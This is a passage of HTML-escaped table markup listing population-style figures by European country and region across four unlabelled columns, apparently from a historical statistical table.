    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;214,014&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;304,507&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;27&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;France&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;119,233&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;120,215&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;105,385&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;111,582&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;28&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Germany&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;711,929&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;849,384&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;832,965&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;989,815&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;29&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Switzerland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;39,130&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;42,804&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;49,732&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;61,568&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;30&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Western Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;31&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Southern and Eastern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,285,513&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,748,547&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,090,991&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,907,020&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;32&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Southern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,054,141&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,336,805&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,363,195&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,541,441&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;33&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Greece&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;177,398&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;210,998&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;177,275&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;159,167&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;34&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Italy&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;580,592&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;831,922&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,008,533&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,256,999&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;35&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Portugal&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;210,122&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;209,968&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;119,899&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;80,276&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;36&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Azores&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;29,656&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;32,531&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;28,865&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;22,586&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;37&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Portugal&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;180,466&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;177,437&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;91,034&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;57,690&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;38&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Spain&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;76,415&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;73,735&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;57,488&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;44,999&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&amp;gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;39&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Southern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,614&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,182&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;40&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Eastern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,231,372&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,411,742&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,727,796&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,365,579&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;41&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Albania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,627&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7,381&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,180&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,618&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;42&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Bulgaria&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,579&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,463&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,609&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,223&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;43&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Czechoslovakia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;87,020&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;112,707&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;160,899&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;227,618&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;44&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Estonia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,210&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,169&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,163&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13,991&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;45&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Hungary&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;110,337&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;144,368&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;183,236&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;245,252&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;46&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Latvia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;26,179&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;34,349&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;41,707&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;50,681&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;47&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Lithuania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;29,745&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;48,194&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;76,001&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;121,475&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;48&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Poland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;388,328&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;418,128&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;548,107&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;747,750&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;49&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Romania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;91,106&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;66,994&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;70,687&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;84,575&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;50&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Soviet Union&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;333,725&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;406,022&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;463,462&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;690,598&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;51&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Turkey in Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;52&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Yugoslavia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;141,516&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;152,967&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;153,745&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;165,798&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;53&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Eastern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;54&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Europe n.e.c.&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,037&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;16,768&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;20,700&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14,320&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;55&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
